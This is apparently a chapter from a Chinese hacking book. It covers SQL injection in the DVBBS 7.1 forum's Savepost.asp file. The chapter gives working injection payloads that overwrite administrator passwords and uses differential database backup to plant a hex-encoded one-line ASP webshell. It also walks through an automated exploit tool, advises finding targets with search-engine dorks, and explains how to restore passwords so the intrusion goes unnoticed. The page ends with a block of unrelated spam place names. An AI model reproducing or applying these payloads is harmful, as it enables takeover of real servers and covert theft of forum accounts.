官术网_书友最值得收藏!

3.2 Update注入與差異備份

在前面的注入講解中,使用一個Update查詢即可輕松地更新管理員的密碼。其中Update查詢在SQL注入攻擊中,其作用是非常強大的,常常可用在各種復(fù)雜環(huán)境下的SQL注入攻擊中,使用非常靈活。

3.2.1 表單提交與Update

在動網(wǎng)論壇程序DVBBS 7.1的“Savepost.asp”文件中,有一個“Buy_UserList”的變量,該變量未進行嚴格的用戶輸入過濾,導(dǎo)致用戶可以進行注入。而“Buy_UserList”變量又導(dǎo)致另一個名為“ToolsBuyUser”的變量存在注入漏洞, ToolsBuyUser的變量是用戶可以完全控制的。

如果是SQL版本的論壇,攻擊者可以用SQL中的“Update”查詢,修改論壇管理員密碼,或者通過差異備份得Webshell,從而控制整個服務(wù)器。

1.Buy_UserList的未過濾傳遞

存在漏洞的文件是“savepost.asp”,用記事本打開該文件,在其中可看到相關(guān)的代碼語句:

            Private GetPostType, ToMoney, UseTools, ToolsBuyUser, GetMoneyType,
            Tools_UseTools, Tools_LastPostTime, ToolsInfo, ToolsSetting
            '定義變量
            ………………代碼省略………………
                        Buy_VIPType = Request.FORM("Buy_VIPType")
                        Buy_UserList = Request.FORM("Buy_UserList")
                        If Buy_Orders<>"" and IsNumeric(Buy_Orders) Then
                            Buy_Orders = cCur(Buy_Orders)
                        Else
                            Buy_Orders = -1
                        End If
                        If Not IsNumeric(Buy_VIPType) Then Buy_VIPType = 0
                        If Buy_UserList<>"" Then Buy_UserList = Replace
                        (Replace(Replace(Buy_UserList, "— —", ""), "@@@", ""),
                        "$PayMoney", "")
                        ToolsBuyUser = "0@@@"&Buy_Orders&"@@@"&Buy_VIPType
                        &"@@@"&Buy_UserList&"— —$PayMoney— —"
                        GetMoneyType = 3
                        'UseTools = ToolsInfo(4)
                    End Select
                End If
            ………………代碼省略………………

從上面的代碼中,可以看到,先定義了“Buy_UserList”變量,然后通過如下語句獲取變量(見圖31):

            Buy_UserList = Request.FORM("Buy_UserList")

圖31 漏洞代碼

在獲取過程中沒有經(jīng)過危險字符過濾,然后進行參數(shù)“GetPostType”值的判斷,當(dāng)其為2時,賦值語句為:

            ToolsBuyUser = "0@@@"&Buy_Orders&"@@@"&Buy_VIPType&"@@@"&Buy
            _UserList&"— —$PayMoney— —"

“Buy_UserList”未經(jīng)過過濾就提交給了ToolsBuyUser變量。再繼續(xù)向下看代碼:

            DIM UbblistBody
                UbblistBody = Content
                UbblistBody = Ubblist(Content)
                SQL="insert into "&TotalUseTable&"(Boardid, ParentID,
            username, topic, body, DateAndTime, length, RootID, layer, orders,
            ip, Expression, locktopic, signflag, emailflag, isbest, PostUserID,
            isupload, IsAudit, Ubblist, GetMoney, UseTools, PostBuyUser,
            GetMoneyType) values ("&Dvbbs.boardid&", "&ParentID&", ' "&username&"' ,
            '"&topic&"' , ' "&Content&"' , ' "&DateTimeStr&"' , ' "&Dvbbs.strlength
            (Content)&"' , "&RootID&", "&ilayer&", "&iorders&", ' "&Dvbbs.User
            TrueIP&"' , ' "&Expression(1)&"' , "&locktopic&", "&signflag&",
            "&mailflag&",0, "&Dvbbs.userid&", "&ihaveupfile&", "&IsAudit&",
            '"&UbblistBody&"' , "&ToMoney&", ' "&UseTools&"' , ' "&ToolsBuyUser
            &"' , "&GetMoneyType&")"
                Dvbbs.Execute(sql)
                Set Rs=Dvbbs.Execute("select Max(AnnounceID) From "&Total
            UseTable&" Where PostUserID="&Dvbbs.UserID)
                AnnounceID=Rs(0)
            …………代碼省略…………

在這段代碼中,定義SQL語句,然后執(zhí)行SQL語句。在SQL語句中,明顯調(diào)用了未經(jīng)過濾的“ToolsBuyUser”參數(shù),因此產(chǎn)生了SQL注入漏洞。

2.手工Update提交

由于此注入漏洞是對用戶輸入做了一些限制,直接進行用戶名猜測比較有技術(shù)難度,因此可選擇SQL版本的論壇進行測試。利用百度或者Google,以關(guān)鍵字“Powered By Dvbbs Version 7.1”進行搜索,再從結(jié)果中找到SQL版本論壇即可獲得不少測試目標(biāo)論壇。

首先檢測一下目標(biāo)網(wǎng)站論壇是否存在這個注入漏洞,需要手工檢測。

方法比較簡單,先在論壇注冊一個用戶ID,這里注冊的是“xiaoyao”,隨便找個版面發(fā)帖子。在帖子內(nèi)容下面有個“論壇金幣帖設(shè)置”的選項,在“選擇帖子類型”下拉菜單中選擇“論壇交易帖設(shè)置”(圖32)。

下面會出現(xiàn)一個“可購買名單限制”輸入框,在里面填寫如下內(nèi)容:

            xiaoyao' ,0); update/**/Dv_User/**/set/**/UserEmail='123456789
            '/**/where[UserName]=' xiaoyao' ; --

圖32 在帖子交易設(shè)置中輸入SQL語句

該SQL語句的功能是,將名為“xiaoyao”的用戶資料中的Email地址改為“123456789”,在攻擊時時可將xiaoyao改為自己注冊的用戶名。

隨便輸入帖子內(nèi)容和主題,其他選項保持默認,單擊“發(fā)表”,帖子內(nèi)容提交成功后,查看自己的用戶資料,可以看到Email地址變?yōu)椤?23456789”了(見圖33)。

圖33 Email信息中顯示了用戶密碼

從上面的測試中看出,論壇程序的“Savepost.asp”存在著注入漏洞,可以進行攻擊。

既然論壇存在著注入漏洞,那么只需要略微地更改一下剛才提交的SQL語句,就可以攻擊任意用戶,包括管理員。

例如,論壇里面有一個名為“admin”的管理員用戶,可以更改該用戶的密碼,冒名發(fā)帖,或者直接對論壇進行管理。在上面發(fā)帖的“可購買名單限制”中輸入如下SQL語句:

            123' ,0); update/**/Dv_User/**/set/**/UserPassword=' 49ba59abb
            e56e057' /**/where[UserName]=' admin' ; --

其中“49ba59abbe56e057”是“123456”的16位MD5加密密文。提交帖子后,提示帖子保存成功(圖34)。發(fā)帖完畢后先退出,然后以用戶名“admin”和密碼“123456”即可成功登錄,獲得管理員的身份。

圖34 提交帖子成功

此外,還可以獲得后臺管理員名稱并修改后臺管理員的密碼,如執(zhí)行如下語句:

            123' ,0); update dv_user set UserEmail=(select top 1 username
            from dv_admin)where username=' xiaoyao' ; --

執(zhí)行語句后,在“xiaoyao”用戶的Email地址信息中就可以看到后臺管理員的用戶名了(圖35)。執(zhí)行如下語句:

            123' ,0); update dv_admin set password='49ba59abbe56e057' where
             username=' admin' ; --

即可將后臺管理員用戶admin的密碼修改為123456。

圖35 后臺獲得管理員用戶名

3.2.2 差異備份獲得Webshell

利用上面的攻擊代碼,攻擊者只需更改一下SQL語句中的用戶名,就可以輕易地更改管理員的密碼進入論壇后臺。當(dāng)知道數(shù)據(jù)庫路徑后,用差異備份之類的方法,可輕易地得到一個Webshell,控制整個服務(wù)器。

1.手工差異備份

用管理員身份登錄后臺后,單擊后臺管理頁面左側(cè)邊欄的“數(shù)據(jù)處理”→“系統(tǒng)信息檢測”,在右邊的頁面中可看到檢測到的服務(wù)器信息。在“本文件路徑”中,就可以看到網(wǎng)站的物理路徑為“C:\web\Admin\data.asp”(見圖36)。

圖36 獲得網(wǎng)站物理路徑

首先,要在數(shù)據(jù)庫中創(chuàng)建一個表,用于存放臨時的代碼,SQL語句為:

            create table webshell (str image)

可在剛才的帖子購買用戶名設(shè)置處輸入如下代碼:

            123' ,0); create table webshell (str image); --

提交帖子后,就可以創(chuàng)建一個名為Webshell的表了。然后需要備份當(dāng)前的數(shù)據(jù)庫,以免后面?zhèn)浞莼謴?fù)時給數(shù)據(jù)庫造成破壞而影響論壇的使用。SQL查詢語句為:

            declare @a sysname select @a=db_name() backup database @a to
            disk=' C:\Web\data.bak'

可在剛才的帖子購買用戶名設(shè)置處輸入如下代碼:

            123' ,0); declare @a sysname select @a=db_name() backup database
             @a to disk=' C:\Web\data.bak' ; --

提交帖子后,即可將當(dāng)前的數(shù)據(jù)庫備份為到為“C:\Web\data.bak”文件。現(xiàn)在,要將ASP木馬后門插入剛才建立的臨時表Webshell中,這里要插入的ASP木馬需要短小一點,選擇藍屏一句話的木馬后門,其代碼如下:

            <%execute request("l")%>

代碼的16進制是:

            0x3C2565786563757465207265717565737428226C2229253E

這里可以運行一個叫做“小葵多功能轉(zhuǎn)換工具”的軟件,在上方的“要轉(zhuǎn)的”中輸入物理路徑“C:\Web”,單擊【給我轉(zhuǎn)】按鈕,在下方就可以看到轉(zhuǎn)換后的結(jié)果了(見圖37)。

圖37 小葵多功能轉(zhuǎn)換工具

可在剛才的帖子購買用戶名設(shè)置處輸入如下代碼:

            123' ,0); insert into Webshell values(0x3C25657865637574652072
            65717565737428226C2229253E); --

該語句是將一句話代碼的16進制插入到Webshell臨時表中。提交帖子執(zhí)行命令后,即可將數(shù)據(jù)表備份生成一個Webshell了。可在剛才的帖子購買用戶名設(shè)置處執(zhí)行如下代碼語句:

            123' ,0); declare @a sysname select @a=db_name() backup database
             @a to disk=' C:\Web\Webshell.asp' with differential;

命令執(zhí)行成功后,就可以獲得一個Webshell了,網(wǎng)頁后門路徑為“C:\Web\webshell.asp”,轉(zhuǎn)換為網(wǎng)址鏈接就是“http://www.binghexijian.com.cn/webshell.asp”。

2.工具自動化備份

另外,在網(wǎng)上有許多已經(jīng)編譯好的直接利用注入漏洞的攻擊工具,使得攻擊變得更加簡單。

運行“動網(wǎng)SQL Savepost.asp漏洞利用程序”,在“論壇地址”中輸入要攻擊的論壇地址,在“Cookie”中輸入登錄論壇后的Cookie信息,然后需要分論壇ID號和管理員的用戶名(圖38)。

圖38 漏洞利用程序的設(shè)置

如何獲得論壇登錄后的Cookie信息呢?可利用桂林老兵的抓取Cookie信息工具“Cookies & Inject Brower”,此程序類似一個瀏覽器,在地址欄中輸入論壇地址,然后進行登錄,在工具欄“Cookies”中即可看到Cookie信息(圖39)。選擇Cookie信息后,單擊鼠標(biāo)右鍵將其復(fù)制,再粘貼到漏洞利用工具中來。

至于分論壇ID號可使用默認的“1”,管理員用戶名也很好查找到,查找發(fā)公告帖或重要帖的用戶,查看其用戶資料中的用戶等級即可。也可以直接單擊頁面中的“用戶列表”鏈接,選擇“會員列表”→“管理團隊”,即可看到所有管理員用戶名了。在“DVBBS標(biāo)識”項一般是不要填寫的,如果在使用程序過程中要求填寫時,再按照要求找到標(biāo)識輸入。

圖39 抓取Cookies信息

設(shè)置完入侵信息后可以進行漏洞檢測,單擊攻擊程序中的【備份管理員密碼】按鈕,首先會彈出提示用戶名和Cookie信息,確認無誤后程序開始備份管理員密碼。操作成功后,下面提示框中會顯示“[成功]: 成功備份管理員admin的密碼到用戶Email ...”(見圖40)。此時返回IE窗口中,查看管理員用戶資料,在Email中就會看到管理員的密碼明文了。

圖40 備份管理員密碼成功提示信息

再單擊【備份后臺密碼】按鈕,備份管理員的后臺登錄密碼。

在攻擊前,首先需要進行的是管理員密碼備份,以便修改管理員密碼后登錄后臺,上傳Webshell后恢復(fù)管理員原來的密碼,這樣不易被管理員發(fā)現(xiàn)論壇被入侵。如果不備份的話,管理員登錄系統(tǒng)時將會發(fā)現(xiàn)自己的密碼被修改,十有八九會猜到是攻擊者攻擊論壇了。

單擊程序界面中的【取得當(dāng)前數(shù)據(jù)庫名】按鈕,下方提示框中顯示“[成功]: 成功取得當(dāng)前數(shù)據(jù)庫名,請人工查看用戶控制面板->密碼修改->密碼問題...”。返回IE窗口,在當(dāng)前登錄狀態(tài)下單擊頁面中的“用戶控制面板”→“密碼修改”,在用戶密碼修改頁面中,可以看到“密碼問題”里顯示為“dvbbs”,說明當(dāng)前數(shù)據(jù)庫名稱為“dvbbs”(見圖41)。

圖41 獲取當(dāng)前論壇數(shù)據(jù)庫名

單擊程序界面中的【更改管理員密碼】和【更改后臺密碼】按鈕,程序?qū)詣訉⒐芾韱T的前臺與后臺密碼更改為默認的“admin888”。

用更改后的密碼登錄論壇后臺,單擊后臺管理頁面中的“數(shù)據(jù)處理”→“系統(tǒng)信息檢測”,在右邊頁面中的“服務(wù)器相關(guān)信息”→“本文件路徑”中,可以看到論壇的Web路徑為“C:\web”。

記下該路徑,然后返回攻擊程序頁面,在“站點根目錄”中輸入剛才得到的Web路徑“C%3A%5CWeb”,見圖42,這里把“\”換為了“%5C”, “:”轉(zhuǎn)換為“%3A”。再輸入剛才得到的數(shù)據(jù)庫名“dvbbs”。

圖42 論壇路徑要轉(zhuǎn)換代碼

最后單擊下方的【log備份】按鈕(圖43)。程序?qū)⒆詣渔i死12秒,開始上傳Webshell,在上傳過程中會要求多次確認用戶名及Cookie信息。

圖43 攻擊設(shè)置

上傳完畢后,提示成功信息(圖44),此時可以檢測網(wǎng)站目錄下是否存在“emissary.asp”文件,在瀏覽器中輸入地址(圖45):

圖44 上傳Webshell控制服務(wù)器

            http://www.binghexijian.com.cn/emissary.asp

圖45 單擊【OK】按鈕后輸入地址

上傳的木馬是冰狐浪子ASP服務(wù)端木馬,用冰狐浪子ASP木馬客戶端連接即可控制整個服務(wù)器了!

主站蜘蛛池模板: 揭西县| 灵山县| 乐安县| 海伦市| 资阳市| 宝坻区| 密山市| 安庆市| 上思县| 永宁县| 肥乡县| 响水县| 洛阳市| 清流县| 定南县| 正阳县| 图木舒克市| 临城县| 石嘴山市| 和田县| 郧西县| 盘山县| 米泉市| 兴山县| 辽阳县| 昭通市| 峡江县| 乌兰县| 徐闻县| 通州区| 烟台市| 永泰县| 隆尧县| 钦州市| 武清区| 宜州市| 乌鲁木齐县| 沂南县| 和顺县| 晴隆县| 依兰县|